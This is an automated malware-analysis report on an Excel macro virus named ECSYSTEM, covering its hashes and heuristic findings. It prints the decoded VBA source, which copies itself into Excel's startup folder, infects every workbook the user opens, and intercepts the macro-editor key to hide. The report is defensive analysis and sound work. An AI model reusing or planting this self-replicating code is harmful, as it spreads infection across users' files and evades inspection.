Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 29d563e13f1a7ef7…

MALICIOUS

Office (OLE)

28.5 KB Created: 2010-11-24 06:04:57 Authoring application: Microsoft Excel First seen: 2015-10-05
MD5: b97893050953baf440d96b19b86fc930 SHA-1: 75a05ff2361b2339ee03fb68345c771a16f27112 SHA-256: 29d563e13f1a7ef71ee70cd44c1b2bc2071bd6f49e754770acaa308fca74d78b
148 Risk Score

Heuristics 5

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "ECSYSTEM.xls") = "" Then
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
    Application.OnSheetActivate = "ECSYSTEM.xls!cop"
  • VBA hooks the VBE-editor / macro-list keys to evade inspection high OLE_VBA_VBE_KEY_HOOK_EVASION
    The macro reroutes Alt+F11 (Visual Basic editor) and/or Alt+F8 (macro list) through Application.OnKey, so an analyst's attempt to open the macro code is intercepted. This anti-analysis trick is a hallmark of resident Excel macro viruses hiding the viral module while it is loaded.
    Matched line in script
    Application.OnKey "%{F11}", "ECSYSTEM.xls!escape"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1806 bytes
SHA-256: e30fdccfbd97a694e2e9a1894e77c64a99233358cb6f9b79bd2fec6bf209ab4a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ECSYSTEM"
Sub auto_open()

If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "ECSYSTEM.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("ECSYSTEM").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "ECSYSTEM.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("ECSYSTEM.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "ECSYSTEM.xls!cop"
Application.OnKey "%{F11}", "ECSYSTEM.xls!escape"
If ThisWorkbook.Path = Application.StartupPath Then Application.OnTime TimeValue("16:44:44"), "del"
End Sub
Sub del()
On Error Resume Next
If (Now() - Int(Now())) < TimeValue("16:44:00") Or (Now() - Int(Now())) > TimeValue("16:45:00") Then Exit Sub
Application.FileSearch.LookIn = "C:\Documents and Settings\"
Application.FileSearch.Filename = "*.*"
Application.FileSearch.SearchSubFolders = True
Application.FileSearch.Execute
For x = 1 To 5
i = Int(Rnd * Application.FileSearch.FoundFiles.Count) + 1
Beep
MsgBox Application.FileSearch.FoundFiles(i) & Chr(10) & Chr(10) & "颇老捞 昏力登菌嚼聪促.", Title:="ECSYSTEM"
Next
MsgBox "唤! 烙", Title:="ECSYSTEM"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "ECSYSTEM" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("ECSYSTEM.xls").Sheets("ECSYSTEM").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub escape()

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.